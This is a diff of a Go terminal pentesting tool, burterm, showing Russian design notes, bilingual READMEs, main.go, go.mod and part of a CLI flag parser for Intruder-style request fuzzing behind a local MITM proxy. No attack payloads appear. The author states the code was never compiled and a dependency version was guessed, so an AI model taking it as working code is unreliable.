||||
## Сознательно отложенные и оставленные как есть решения
|
||||
|
||||
- **Навигация на Fuzzer — четыре попытки подряд, есть разобранная
|
||||
причина третьего провала.** У физической клавиатуры нет F13/F14, а
|
||||
13 вкладок в F1-F12 не помещаются (изначально этой проблеме были
|
||||
подвержены сразу две вкладки — Fuzzer и Steganography, — но
|
||||
Steganography с тех пор выделена в отдельный проект stegterm, и
|
||||
сейчас в лишней клавише нуждается только Fuzzer). История:
|
||||
1. `f13`/`f14` — не существуют физически, отпало сразу.
|
||||
2. `shift+f1` — по историческому терминальному соглашению это и есть
|
||||
F13 (`kf13` в terminfo), но подтверждённо не сработало в связке с
|
||||
Zellij.
|
||||
3. `alt+f` — подтверждённо не сработало, и в этот раз причина
|
||||
найдена: терминал расщепляет `Alt+буква` на два отдельных байта
|
||||
(`ESC`, затем сама буква) вместо единой комбинации. Если между
|
||||
ними случается задержка (обычное дело через мультиплексор/SSH),
|
||||
bubbletea не успевает склеить их обратно и видит одинокую букву —
|
||||
а раз в фокусе текстовое поле (что почти всегда так по
|
||||
умолчанию), эта буква просто печатается как обычный ввод, а не
|
||||
распознаётся как комбинация. F-клавиши от этой болезни не страдают:
|
||||
кодируются терминалом атомарно, не могут расщепиться в печатный
|
||||
символ.
|
||||
4. `pgup` — та же атомарная категория кодирования, что и у F-клавиш,
|
||||
поэтому по конструкции не должен страдать той же болезнью, что
|
||||
Alt-комбинации. Компромисс: `viewport` (Results, Proxy, Scanner и
|
||||
т.д.) по умолчанию тоже вешает постраничную прокрутку на PageUp —
|
||||
раз эта клавиша перехватывается глобально на уровне корневой
|
||||
модели раньше, чем дойдёт до конкретной вкладки, постраничная
|
||||
прокрутка пропадает везде, остаются только стрелки (построчно).
|
||||
Осознанный выбор: надёжный доступ к вкладке важнее удобства
|
||||
постраничной прокрутки. Не проверено на практике конкретно в
|
||||
связке с Zellij.
|
||||
- **Единая рамка вокруг тела каждой вкладки — откачена.** Была попытка
|
||||
обернуть body любой вкладки (кроме Dashboard) в `panel()` для
|
||||
визуальной консистентности со всем приложением. Дважды подряд не
|
||||
смог вслепую подобрать для неё правильный бюджет высоты: сначала
|
||||
меню обрезалось снизу на нескольких вкладках, потом (после первой
|
||||
попытки исправить) сама рамка вылезала за край экрана на вкладках с
|
||||
длинным содержимым (Comparer, Scanner). Без реального терминала под
|
||||
рукой это угадывание, а не расчёт — после второго провала откатил
|
||||
саму обёртку, а не в третий раз стал подбирать числа. Остались
|
||||
только подтверждённо рабочие вещи: Dashboard со своими собственными
|
||||
панелями и стилизованный таб-бар. Если понадобится вернуться к идее
|
||||
единой рамки на каждой вкладке — делать это нужно с реальным
|
||||
терминалом под рукой для итеративной проверки, не вслепую.
|
||||
- **Плагины.** Обсуждалась возможность подключения внешних модулей.
|
||||
Решение: не строить сейчас, направление на будущее — подпроцессы поверх
|
||||
JSON Lines по stdin/stdout (не Go `plugin`-пакет — хрупкий, требует
|
||||
точного совпадения версии Go; не встроенный Lua — новая непроверяемая
|
||||
зависимость с тем же риском, что и sqlite). Подпроцесс живёт весь
|
||||
прогон (атаку/скан), не спавнится на каждый вызов. Три типа плагинов
|
||||
на будущее: `payload-generator`, `scanner-check`, `decoder`. В коде не
|
||||
реализовано ничего.
|
||||
- **Побочный эффект рекурсии Intruder.** У `Model` изначально было
|
||||
заложено поведение «после старта атаки переключиться на Results» —
|
||||
рекурсия тоже шлёт `attackStartedMsg` на каждую находку, значит при
|
||||
активной рекурсии с несколькими совпадениями пользователя может
|
||||
несколько раз подряд дёрнуть на вкладку Results. Решение неочевидно
|
||||
(нужно различать «юзер нажал ctrl+r» от «рекурсия сама что-то
|
||||
нашла»), оставлено как есть.
|
||||
- **`drainGenerator` для Pitchfork/ClusterBomb** вычитывает генератор
|
||||
целиком в память перед стартом. Для словарей на миллионы строк — разовая
|
||||
пауза и всплеск памяти перед первым запросом. Не исправлено: риск
|
||||
сломать корректность одометра выше выигрыша.
|
||||
- **Только WAV, не MP3/FLAC.** Сознательный выбор, не недоделка: сжатие с
|
||||
потерями убивает мелкую структуру спектра, в которую в CTF прячут
|
||||
сообщения — задачи почти всегда именно в PCM WAV.
|
||||
- **Поля "второе изображение"/"длина LSB" видны и в аудио-режиме
|
||||
вкладки Steganography**, хотя там ничего не делают. Условный layout
|
||||
ради их сокрытия усложнил бы `View()` заметнее, чем стоит того.
|
||||
- **ASCII-логотип не в блочном стиле** (как у референсных TUI-инструментов
|
||||
вроде Burp) — сознательно: точная посимвольная геометрия блочных букв
|
||||
без реального терминала для проверки выравнивания легко разъезжается на
|
||||
один символ. Вместо этого — разрядка текста акцентным цветом.
|
||||
- **Заголовки панелей — не врезаны в саму рамку** (`┌─ TITLE ─┐`), а
|
||||
первая строка жирным текстом внутри неё — по той же причине: точная
|
||||
ширина без права на ошибку.
|
||||
|
||||
## Порядок отладки при первой сборке
|
||||
|
||||
1. `go mod tidy` — разберётся с зависимостями и `go.sum`.
|
||||
2. `go build ./...` — почти наверняка всплывут точечные несовпадения
|
||||
сигнатур bubbles/bubbletea. Правятся по месту, по тексту ошибки.
|
||||
3. `go vet ./...` — статический анализ.
|
||||
4. `go run -race ./cmd/burterm` — особенно при активном Proxy +
|
||||
одновременной смене scope-правил.
|
||||
5. Дальше — по вкладкам, от простых к сложным: Decoder/Comparer/Sequencer
|
||||
(чистая логика, без сети) → Repeater (один запрос) → Intruder на
|
||||
маленьком словаре → Proxy → Scanner/Fuzzer последними — там
|
||||
наибольшая оставшаяся неопределённость.
|
||||
87
README.md
Normal file
87
README.md
Normal file
|
|
@ -0,0 +1,87 @@
|
|||
# burterm
|
||||
|
||||
A terminal-based tool for web pentesting, bug bounty, and CTF work. A single
|
||||
static Go binary, 13 TUI tabs (Dashboard, Request Builder, Results, Proxy,
|
||||
Repeater, Spider, Target/Site Map, Decoder, Comparer, Sequencer, Scanner,
|
||||
Project, Fuzzer), plus a headless CLI mode for scripts and CI.
|
||||
|
||||
- Detailed architecture: [ARCHITECTURE.md](ARCHITECTURE.md)
|
||||
- Design history, bugs found, reliability caveats (Russian only): [NOTES.md](NOTES.md)
|
||||
- Русская версия: [README.ru.md](README.ru.md)
|
||||
|
||||
Steganography/audio forensics (image bit-plane analysis, spectrograms,
|
||||
SSTV decoding) used to live here as a 14th tab — split out into its own
|
||||
project, [stegterm](https://github.com/r3g1tpr0cs/stegterm), since it has
|
||||
nothing to do with web pentesting.
|
||||
|
||||
## Features
|
||||
|
||||
- **Proxy** — HTTP/HTTPS interception via a self-signed MITM CA, skips
|
||||
out-of-scope traffic from history
|
||||
- **Repeater** — manual request send/edit, diff against last sent version (ctrl+d)
|
||||
- **Intruder** — Sniper/Battering Ram/Pitchfork/Cluster Bomb, smart payload
|
||||
presets, recursion into discovered directories (ffuf's `-recursion`
|
||||
equivalent), extension lists (`|ext:.php,.html`), status/length/word/line/grep filters
|
||||
- **Spider** — crawler with GET-form auto-submission and automatic session
|
||||
Cookie/Authorization pickup from Proxy history
|
||||
- **Scanner** — SQLi/XSS/SSTI/LFI/RCE/SSRF/XXE/CORS/JWT, selectable checks
|
||||
- **Project** — session persistence in SQLite with full-text search (FTS5),
|
||||
filters by host/method/status/length/color label
|
||||
- **Fuzzer** — blackbox mutation fuzzer for arbitrary binaries (CTF pwn),
|
||||
crash detection via signal
|
||||
- **Dashboard** — live metrics of the process itself (memory, goroutines,
|
||||
RPS), laid out as bordered panels
|
||||
|
||||
## Building
|
||||
|
||||
```sh
|
||||
go mod tidy # pulls dependencies, including modernc.org/sqlite
|
||||
go build -o burterm ./cmd/burterm
|
||||
```
|
||||
|
||||
Requires Go 1.23+. Builds without cgo.
|
||||
|
||||
**The code has never once gone through a compiler** — it was written in a
|
||||
sandboxed environment with no network access and no Go toolchain
|
||||
installed. Specific areas of uncertainty and the recommended order for
|
||||
the first build are in [NOTES.md](NOTES.md) (Russian only).
|
||||
|
||||
## Running
|
||||
|
||||
No arguments — interactive TUI:
|
||||
|
||||
```sh
|
||||
./burterm
|
||||
```
|
||||
|
||||
With arguments — headless CLI (for scripts/CI):
|
||||
|
||||
```sh
|
||||
./burterm -request req.txt -payload wordlist:common.txt -mode sniper
|
||||
```
|
||||
|
||||
`req.txt` is a raw HTTP request with `§markers§` at insertion points:
|
||||
|
||||
```
|
||||
GET /api/user?id=§1§ HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
```
|
||||
|
||||
## Repository layout
|
||||
|
||||
```
|
||||
cmd/burterm/ entry point (CLI + TUI launch)
|
||||
internal/
|
||||
engine/ Intruder core: markers, attack generators, filters
|
||||
payload/ payload generators (wordlist/range/brute/preset/ext)
|
||||
cli/ flag and payload-spec parsing
|
||||
proxy/ MITM proxy, CA, scope filter, session auto-detection
|
||||
spider/ crawler
|
||||
sitemap/ scope rules, site map tree
|
||||
scanner/ active/passive vulnerability checks
|
||||
fuzzer/ blackbox binary fuzzer
|
||||
project/ SQLite+FTS5 session storage
|
||||
decoder/ comparer/ sequencer/ utilities
|
||||
tui/ the whole interface (bubbletea)
|
||||
```
|
||||
86
README.ru.md
Normal file
86
README.ru.md
Normal file
|
|
@ -0,0 +1,86 @@
|
|||
# burterm
|
||||
|
||||
Терминальный инструмент для веб-пентеста, bug bounty и CTF. Один статический
|
||||
Go-бинарник, 13 вкладок TUI (Dashboard, Request Builder, Results, Proxy,
|
||||
Repeater, Spider, Target/Site Map, Decoder, Comparer, Sequencer, Scanner,
|
||||
Project, Fuzzer) плюс headless CLI-режим для скриптов и CI.
|
||||
|
||||
- Подробное описание архитектуры: [ARCHITECTURE.ru.md](ARCHITECTURE.ru.md)
|
||||
- История решений, найденные баги, оговорки по надёжности: [NOTES.md](NOTES.md)
|
||||
- English version: [README.md](README.md)
|
||||
|
||||
Стеганография/аудио-форензика (анализ битовых плоскостей изображений,
|
||||
спектрограммы, декодирование SSTV) раньше жили здесь 14-й вкладкой —
|
||||
выделены в отдельный проект,
|
||||
[stegterm](https://github.com/r3g1tpr0cs/stegterm), поскольку не имеют
|
||||
отношения к веб-пентесту.
|
||||
|
||||
## Возможности
|
||||
|
||||
- **Proxy** — перехват HTTP/HTTPS через собственный MITM CA, скип трафика вне scope
|
||||
- **Repeater** — ручная отправка/правка запроса, diff с последней отправкой (ctrl+d)
|
||||
- **Intruder** — Sniper/Battering Ram/Pitchfork/Cluster Bomb, умные заготовки
|
||||
payload'ов, рекурсия в найденные директории (аналог `-recursion` у ffuf),
|
||||
расширения (`|ext:.php,.html`), фильтры по статусу/длине/словам/строкам/grep
|
||||
- **Spider** — краулер с авто-сабмитом GET-форм и авто-подхватом сессионных
|
||||
Cookie/Authorization из истории Proxy
|
||||
- **Scanner** — SQLi/XSS/SSTI/LFI/RCE/SSRF/XXE/CORS/JWT, выбор конкретных проверок
|
||||
- **Project** — сохранение сессии в SQLite с полнотекстовым поиском (FTS5),
|
||||
фильтры по host/method/status/длине/цветовой метке
|
||||
- **Fuzzer** — blackbox-мутационный фаззер произвольных бинарников (CTF pwn),
|
||||
детект краша по сигналу
|
||||
- **Dashboard** — живые метрики самого процесса (память, горутины, RPS),
|
||||
оформлены как панели с рамками
|
||||
|
||||
## Сборка
|
||||
|
||||
```sh
|
||||
go mod tidy # подтянет зависимости, включая modernc.org/sqlite
|
||||
go build -o burterm ./cmd/burterm
|
||||
```
|
||||
|
||||
Требуется Go 1.23+. Сборка без cgo.
|
||||
|
||||
**Код ни разу не проходил через компилятор** — писался в среде без сети и
|
||||
без установленного Go. Список конкретных мест с неопределённостью и
|
||||
порядок действий на первую сборку — в [NOTES.md](NOTES.md).
|
||||
|
||||
## Запуск
|
||||
|
||||
Без аргументов — интерактивный TUI:
|
||||
|
||||
```sh
|
||||
./burterm
|
||||
```
|
||||
|
||||
С аргументами — headless CLI (для скриптов/CI):
|
||||
|
||||
```sh
|
||||
./burterm -request req.txt -payload wordlist:common.txt -mode sniper
|
||||
```
|
||||
|
||||
`req.txt` — сырой HTTP-запрос с `§маркерами§` точек вставки:
|
||||
|
||||
```
|
||||
GET /api/user?id=§1§ HTTP/1.1
|
||||
Host: example.com
|
||||
|
||||
```
|
||||
|
||||
## Структура репозитория
|
||||
|
||||
```
|
||||
cmd/burterm/ точка входа (CLI + запуск TUI)
|
||||
internal/
|
||||
engine/ ядро Intruder: маркеры, генераторы атак, фильтры
|
||||
payload/ генераторы payload'ов (wordlist/range/brute/preset/ext)
|
||||
cli/ разбор флагов и payload-спецификаций
|
||||
proxy/ MITM-прокси, CA, scope-фильтр, авто-обнаружение сессий
|
||||
spider/ краулер
|
||||
sitemap/ scope-правила, дерево карты сайта
|
||||
scanner/ активные/пассивные проверки уязвимостей
|
||||
fuzzer/ blackbox-фаззер бинарников
|
||||
project/ SQLite+FTS5 хранилище сессии
|
||||
decoder/ comparer/ sequencer/ утилиты
|
||||
tui/ весь интерфейс (bubbletea)
|
||||
```
|
||||
244
cmd/burterm/main.go
Normal file
244
cmd/burterm/main.go
Normal file
|
|
@ -0,0 +1,244 @@
|
|||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"flag"
|
||||
"fmt"
|
||||
"net/url"
|
||||
"os"
|
||||
"os/signal"
|
||||
"time"
|
||||
|
||||
tea "github.com/charmbracelet/bubbletea"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/cli"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/engine"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/project"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/proxy"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/tui"
|
||||
)
|
||||
|
||||
// defaultProxyAddr — адрес, на который в браузере/системе нужно
|
||||
// настроить HTTP(S)-прокси, чтобы burterm начал перехватывать трафик.
|
||||
const defaultProxyAddr = "127.0.0.1:8080"
|
||||
|
||||
func main() {
|
||||
// -h/--help перехватывается ДО диспетчеризации TUI/CLI — иначе он бы
|
||||
// просто попал в runCLI как обычный флаг, и пользователь увидел бы
|
||||
// список флагов вперемешку с "ошибка: flag: help requested" и кодом
|
||||
// выхода 1, как будто что-то сломалось, хотя это штатный запрос
|
||||
// справки. Заодно единственное место, где объясняется, что вообще
|
||||
// есть два режима запуска — TUI и headless CLI, а не только флаги.
|
||||
if len(os.Args) > 1 && isHelpArg(os.Args[1]) {
|
||||
printHelp()
|
||||
return
|
||||
}
|
||||
|
||||
// Без аргументов — интерактивный TUI. С аргументами (флаги -request и т.п.) —
|
||||
// headless CLI-режим для скриптов и CI. Так один и тот же бинарник закрывает
|
||||
// оба сценария без отдельного флага-переключателя.
|
||||
if len(os.Args) > 1 {
|
||||
if err := runCLI(os.Args[1:]); err != nil {
|
||||
if errors.Is(err, flag.ErrHelp) {
|
||||
// flag-пакет уже напечатал список флагов сам — здесь
|
||||
// просто выходим чисто, без "ошибка:" и без кода 1.
|
||||
return
|
||||
}
|
||||
fmt.Fprintf(os.Stderr, "ошибка: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
if err := runTUI(); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "ошибка: %v\n", err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
|
||||
func isHelpArg(s string) bool {
|
||||
return s == "-h" || s == "-help" || s == "--help"
|
||||
}
|
||||
|
||||
// printHelp объясняет оба режима запуска и печатает список CLI-флагов
|
||||
// (через cli.Usage — та же регистрация флагов, что и в реальном разборе,
|
||||
// без дублирования списка вручную).
|
||||
func printHelp() {
|
||||
fmt.Print(`burterm — терминальный инструмент для веб-пентеста, bug bounty и CTF.
|
||||
|
||||
РЕЖИМЫ ЗАПУСКА:
|
||||
burterm интерактивный TUI, без аргументов
|
||||
13 вкладок: f1-f12 + pgup,
|
||||
справка по горячим клавишам внизу экрана
|
||||
на каждой вкладке
|
||||
burterm -request ... headless-атака одним прогоном (см. флаги ниже),
|
||||
для скриптов и CI — печатает результаты построчно
|
||||
|
||||
TUI поднимает локальный MITM-прокси на 127.0.0.1:8080 и автоматически
|
||||
подхватывает последний открытый проект (~/.burterm/). Подробности по
|
||||
вкладкам, синтаксису §маркеров§ и структуре проекта — в README.md и
|
||||
ARCHITECTURE.md репозитория.
|
||||
|
||||
ФЛАГИ HEADLESS CLI-РЕЖИМА:
|
||||
`)
|
||||
cli.Usage(os.Stdout)
|
||||
}
|
||||
|
||||
// runTUI поднимает MITM-прокси (генерируя/загружая локальный CA) и
|
||||
// запускает интерактивный интерфейс. Если прокси не смог занять порт,
|
||||
// TUI всё равно стартует — вкладка Proxy останется пустой, но вкладку
|
||||
// Request можно заполнить вручную, как раньше.
|
||||
func runTUI() error {
|
||||
caDir, err := proxy.CADir()
|
||||
if err != nil {
|
||||
return fmt.Errorf("директория CA: %w", err)
|
||||
}
|
||||
ca, err := proxy.LoadOrCreateCA(caDir)
|
||||
if err != nil {
|
||||
return fmt.Errorf("MITM CA: %w", err)
|
||||
}
|
||||
|
||||
store := proxy.NewStore()
|
||||
srv := proxy.New(defaultProxyAddr, ca, store)
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() { errCh <- srv.ListenAndServe(ctx) }()
|
||||
|
||||
// Короткая пауза, чтобы поймать немедленную ошибку (например, порт
|
||||
// уже занят) и предупредить пользователя до входа в alt-screen —
|
||||
// после старта bubbletea это сообщение уже никто не увидит.
|
||||
select {
|
||||
case err := <-errCh:
|
||||
fmt.Fprintf(os.Stderr, "прокси не запустился на %s: %v\n(можно продолжать и вводить запросы вручную на вкладке Request)\n\n", defaultProxyAddr, err)
|
||||
case <-time.After(200 * time.Millisecond):
|
||||
}
|
||||
|
||||
caPath := ca.CertPath(caDir)
|
||||
|
||||
// Автозагрузка последнего открытого проекта, если такой был —
|
||||
// project.LoadLastPath хранит путь вне самой SQLite-БД (нужен раньше,
|
||||
// чем что-либо открыто). Неудача здесь не фатальна для запуска TUI:
|
||||
// просто вкладка Project стартует пустой, как при первом запуске.
|
||||
var projectStore *project.Store
|
||||
if lastPath, ok, lerr := project.LoadLastPath(); lerr == nil && ok {
|
||||
if ps, operr := project.Open(lastPath); operr == nil {
|
||||
projectStore = ps
|
||||
} else {
|
||||
fmt.Fprintf(os.Stderr, "не удалось автоматически открыть последний проект %s: %v\n", lastPath, operr)
|
||||
}
|
||||
}
|
||||
|
||||
p := tea.NewProgram(tui.New(store, defaultProxyAddr, caPath, srv, projectStore), tea.WithAltScreen())
|
||||
_, err = p.Run()
|
||||
return err
|
||||
}
|
||||
|
||||
// runCLI собирает CLI-флаги, запрос и генераторы в один прогон атаки.
|
||||
// Вынесен из main для того, чтобы возвращать error обычным способом
|
||||
// вместо os.Exit по месту.
|
||||
func runCLI(args []string) error {
|
||||
flags, err := cli.Parse(args)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
rawBytes, err := os.ReadFile(flags.RequestFile)
|
||||
if err != nil {
|
||||
return fmt.Errorf("не удалось прочитать файл запроса: %w", err)
|
||||
}
|
||||
|
||||
clean, points, err := engine.ParseMarkers(string(rawBytes))
|
||||
if err != nil {
|
||||
return fmt.Errorf("не удалось разобрать маркеры §...§: %w", err)
|
||||
}
|
||||
if len(points) == 0 {
|
||||
return fmt.Errorf("в запросе не найдено ни одного §маркера§ — нечего фаззить")
|
||||
}
|
||||
|
||||
gens, err := flags.BuildGenerators()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
mode, err := flags.AttackMode()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
base := []string(flags.Base)
|
||||
if len(base) == 0 {
|
||||
base = make([]string, len(points))
|
||||
}
|
||||
|
||||
eng := engine.New(engine.Config{
|
||||
Concurrency: flags.Concurrency,
|
||||
RateLimit: flags.RateLimit,
|
||||
Timeout: flags.Timeout,
|
||||
InsecureSkipVerify: flags.Insecure,
|
||||
ForceScheme: flags.Scheme,
|
||||
})
|
||||
|
||||
// Ctrl+C прерывает атаку через контекст, а не убивает процесс мгновенно —
|
||||
// воркеры доотправляют текущие запросы и корректно закрывают каналы.
|
||||
ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt)
|
||||
defer stop()
|
||||
|
||||
results, err := eng.Run(ctx, mode, clean, points, gens, base)
|
||||
if err != nil {
|
||||
return fmt.Errorf("не удалось запустить атаку: %w", err)
|
||||
}
|
||||
|
||||
var store *project.Store
|
||||
if flags.Project != "" {
|
||||
store, err = project.Open(flags.Project)
|
||||
if err != nil {
|
||||
return fmt.Errorf("не удалось открыть проект %s: %w", flags.Project, err)
|
||||
}
|
||||
defer store.Close()
|
||||
fmt.Printf("Сохраняю результаты в проект: %s\n\n", flags.Project)
|
||||
}
|
||||
|
||||
printResults(results, store)
|
||||
return nil
|
||||
}
|
||||
|
||||
// printResults выводит результаты атаки построчно по мере поступления
|
||||
// из канала. Используется только в headless CLI-режиме — полноценная
|
||||
// интерактивная таблица с прокруткой живёт в internal/tui. Если store
|
||||
// не nil (флаг -project), каждый результат ещё и сохраняется в проект —
|
||||
// та же база, что видит вкладка Project в TUI, так что результаты
|
||||
// headless-прогона можно потом открыть и поискать интерактивно.
|
||||
func printResults(results <-chan engine.Result, store *project.Store) {
|
||||
fmt.Printf("%-6s %-8s %-10s %s\n", "СТАТУС", "ДЛИНА", "ВРЕМЯ", "PAYLOAD")
|
||||
for r := range results {
|
||||
if r.Err != nil {
|
||||
fmt.Printf("ERR - - %v (payload: %v)\n", r.Err, r.Payload)
|
||||
} else {
|
||||
fmt.Printf("%-6d %-8d %-10s %v\n", r.StatusCode, r.Length, r.Duration.Round(time.Millisecond), r.Payload)
|
||||
}
|
||||
|
||||
if store == nil {
|
||||
continue
|
||||
}
|
||||
host := ""
|
||||
if u, err := url.Parse(r.URL); err == nil {
|
||||
host = u.Host
|
||||
}
|
||||
if _, err := store.Insert(project.Record{
|
||||
Source: "intruder-cli",
|
||||
Host: host,
|
||||
Method: r.Method,
|
||||
URL: r.URL,
|
||||
Status: r.StatusCode,
|
||||
ContentLength: r.Length,
|
||||
RawRequest: fmt.Sprintf("%s %s\npayload: %v", r.Method, r.URL, r.Payload),
|
||||
RawResponse: r.Body,
|
||||
}); err != nil {
|
||||
fmt.Fprintf(os.Stderr, "предупреждение: не удалось сохранить результат в проект: %v\n", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
18
go.mod
Normal file
18
go.mod
Normal file
|
|
@ -0,0 +1,18 @@
|
|||
module github.com/r3g1tpr0cs/burterm
|
||||
|
||||
go 1.23
|
||||
|
||||
require (
|
||||
github.com/charmbracelet/bubbles v0.20.0
|
||||
github.com/charmbracelet/bubbletea v1.2.4
|
||||
github.com/charmbracelet/lipgloss v1.0.0
|
||||
golang.org/x/net v0.34.0
|
||||
// modernc.org/sqlite — драйвер SQLite на чистом Go, без cgo (важно:
|
||||
// весь остальной проект собирается без единого cgo-пакета, и хотелось
|
||||
// сохранить эту инвариантность ради простоты сборки на ALT Linux без
|
||||
// gcc в цепочке). Версия указана по памяти — я не могу скачать модуль
|
||||
// в этом окружении (нет сети до proxy.golang.org), так что первый
|
||||
// `go mod tidy` у тебя может подтянуть другую совместимую версию и
|
||||
// перестроить go.sum с нуля — это ожидаемо и нормально.
|
||||
modernc.org/sqlite v1.34.4
|
||||
)
|
||||
273
internal/cli/flags.go
Normal file
273
internal/cli/flags.go
Normal file
|
|
@ -0,0 +1,273 @@
|
|||
package cli
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"flag"
|
||||
"fmt"
|
||||
"io"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/r3g1tpr0cs/burterm/internal/engine"
|
||||
"github.com/r3g1tpr0cs/burterm/internal/payload"
|
||||
)
|
||||
|
||||
// stringList — flag.Value, копящий повторяющиеся флаги в срез
|
||||
// в порядке их указания в командной строке.
|
||||
type stringList []string
|
||||
|
||||
func (s *stringList) String() string { return strings.Join(*s, ",") }
|
||||
func (s *stringList) Set(v string) error { *s = append(*s, v); return nil }
|
||||
|
||||
// Flags — разобранные аргументы командной строки для одного запуска атаки.
|
||||
type Flags struct {
|
||||
RequestFile string
|
||||
Mode string // "sniper" | "battering" | "clusterbomb"
|
||||
Payloads stringList // спецификации вида "wordlist:<путь>" или "range:<from>:<to>:<step>", по одной на точку вставки
|
||||
Base stringList // базовые значения для точек, не участвующих в переборе (режим sniper)
|
||||
Concurrency int
|
||||
RateLimit time.Duration
|
||||
Timeout time.Duration
|
||||
Insecure bool
|
||||
Scheme string // "" (авто, дефолт https) | "http" | "https"
|
||||
Project string // путь к файлу проекта (SQLite); пусто — не сохранять результаты
|
||||
}
|
||||
|
||||
// newFlagSet регистрирует все флаги CLI-режима один раз — используется
|
||||
// и Parse (реальный разбор), и Usage (печать справки для -h/--help),
|
||||
// чтобы список флагов с их описаниями не дублировался в двух местах.
|
||||
func newFlagSet() (*flag.FlagSet, *Flags) {
|
||||
fs := flag.NewFlagSet("burterm", flag.ContinueOnError)
|
||||
f := &Flags{}
|
||||
|
||||
fs.StringVar(&f.RequestFile, "request", "", "путь к файлу с сырым HTTP-запросом и §маркерами§ точек вставки (обязательно)")
|
||||
fs.StringVar(&f.Mode, "mode", "sniper", "режим атаки: sniper | battering | pitchfork | clusterbomb")
|
||||
fs.Var(&f.Payloads, "payload", "источник payload'ов; повторяй флаг в порядке точек вставки: wordlist:<путь> | range:<from>:<to>:<step> | preset:<имя> | brute:<алфавит>:<min>:<max> — к любому можно дописать |ext:.php,.html для перебора расширений")
|
||||
fs.Var(&f.Base, "base", "базовое значение для точки вставки в режиме sniper, по одному флагу на точку")
|
||||
fs.IntVar(&f.Concurrency, "concurrency", 10, "число параллельных воркеров")
|
||||
fs.DurationVar(&f.RateLimit, "rate-limit", 0, "пауза между запросами на воркер, напр. 100ms")
|
||||
fs.DurationVar(&f.Timeout, "timeout", 10*time.Second, "таймаут одного HTTP-запроса")
|
||||
fs.BoolVar(&f.Insecure, "insecure", false, "не проверять TLS-сертификат сервера (self-signed стенды)")
|
||||
fs.StringVar(&f.Scheme, "scheme", "", "принудительная схема: http | https (по умолчанию — как определит парсер запроса, обычно https)")
|
||||
fs.StringVar(&f.Project, "project", "", "путь к файлу проекта (SQLite) — если указан, результаты атаки сохраняются туда же, что видит TUI на вкладке Project")
|
||||
|
||||
return fs, f
|
||||
}
|
||||
|
||||
// Parse разбирает os.Args (без имени программы) в Flags и валидирует
|
||||
// обязательные поля.
|
||||
func Parse(args []string) (*Flags, error) {
|
||||
fs, f := newFlagSet()
|
||||
|
||||
if err := fs.Parse(args); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if f.RequestFile == "" {
|
||||
return nil, fmt.Errorf("нужно указать -request <файл>")
|
||||
}
|
||||
if len(f.Payloads) == 0 {
|
||||
return nil, fmt.Errorf("нужен хотя бы один -payload")
|
||||
}
|
||||
if f.Scheme != "" && f.Scheme != "http" && f.Scheme != "https" {
|
||||
return nil, fmt.Errorf("-scheme должен быть http, https или пустым, получено %q", f.Scheme)
|
||||
}
|
||||
return f, nil
|
||||
}
|
||||
|
||||
// Usage печатает список флагов headless CLI-режима в w — используется
|
||||
// main.go для -h/--help, чтобы не дублировать регистрацию флагов.
|
||||
func Usage(w io.Writer) {
|
||||
fs, _ := newFlagSet()
|
||||
fs.SetOutput(w)
|
||||
fs.Usage()
|
||||
}
|
||||
|
||||
// AttackMode транслирует строковое имя режима в engine.AttackMode.
|
||||
func (f *Flags) AttackMode() (engine.AttackMode, error) {
|
||||
switch f.Mode {
|
||||
case "sniper":
|
||||
return engine.ModeSniper, nil
|
||||
case "battering":
|
||||
return engine.ModeBattering, nil
|
||||
case "pitchfork":
|
||||
return engine.ModePitchfork, nil
|
||||
case "clusterbomb":
|
||||
return engine.ModeClusterBomb, nil
|
||||
default:
|
||||
return 0, fmt.Errorf("неизвестный режим %q (ожидался sniper, battering, pitchfork или clusterbomb)", f.Mode)
|
||||
}
|
||||
}
|
||||
|
||||
// BuildGenerators превращает спецификации --payload в конкретные
|
||||
// payload.Generator, в том же порядке, в каком флаги были указаны
|
||||
// (этот порядок соответствует порядку §маркеров§ в запросе).
|
||||
func (f *Flags) BuildGenerators() ([]payload.Generator, error) {
|
||||
gens := make([]payload.Generator, 0, len(f.Payloads))
|
||||
for _, spec := range f.Payloads {
|
||||
g, err := parsePayloadSpec(spec)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("payload %q: %w", spec, err)
|
||||
}
|
||||
gens = append(gens, g)
|
||||
}
|
||||
return gens, nil
|
||||
}
|
||||
|
||||
// ParsePayloadSpec — экспортированная версия parsePayloadSpec. Используется
|
||||
// не только CLI-флагами, но и TUI, чтобы оба интерфейса разбирали строки
|
||||
// вида "wordlist:<путь>" / "range:<from>:<to>:<step>" одинаково.
|
||||
func ParsePayloadSpec(spec string) (payload.Generator, error) {
|
||||
return parsePayloadSpec(spec)
|
||||
}
|
||||
|
||||
// parsePayloadSpec сначала снимает необязательный суффикс "|ext:..."
|
||||
// (аналог -e у ffuf — список расширений, дописываемых к каждому слову),
|
||||
// затем разбирает оставшуюся часть как обычную спецификацию через
|
||||
// parseBaseSpec и, если расширения были заданы, оборачивает результат
|
||||
// в payload.ExtensionGenerator.
|
||||
func parsePayloadSpec(spec string) (payload.Generator, error) {
|
||||
base, extensions, err := splitExtSuffix(spec)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
gen, err := parseBaseSpec(base)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if len(extensions) > 0 {
|
||||
gen = payload.NewExtensionGenerator(gen, extensions)
|
||||
}
|
||||
return gen, nil
|
